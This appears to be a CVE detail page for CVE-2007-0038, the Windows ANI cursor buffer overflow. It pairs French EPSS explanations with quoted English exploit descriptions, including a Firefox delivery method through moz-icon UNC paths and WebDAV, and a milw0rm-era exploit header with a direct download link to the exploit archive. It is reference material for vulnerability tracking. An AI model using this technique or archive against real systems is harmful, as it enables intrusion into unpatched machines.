CVE-2007-0038 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

The module can also exploit Mozilla Firefox by using a UNC path in a moz-icon URL and serving the .ANI file over WebDAV. The vulnerable code in USER32.dll will catch any exceptions that occur while the invalid cursor is loaded, causing the exploit to silently fail when the wrong target has been chosen.

Microsoft ANI Buffer Overflow Exploit Author: Trirat Puttaraksa http://sf-freedom.blogspot.com Tested on: Windows XP SP2 fully patched + IE 6 SP2 For educational purpose only There are many confuses about this vulnerability. Someone said that this could not be exploited in XP SP2 - that's wrong. I provide this exploit because I wanna to tell these people that they are in danger. This exploit will call calc.exe (shellcode fome metasploit win32_exec CMD=calc.exe EXITFUNC=process). P.S. I do not include the source code for generate the .ani file because of its damage. However, if you reverse engineer .ani file, you will know how could I produce this exploit in 10 minutes. I will describe this vulnerability and how to exploit it in my blog after M$ released patch. greets: used SkyLined's idea of exploitation. tnx to him. https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/3635.zip (04012007-ani.zip) # milw0rm.com [2007-04-01]
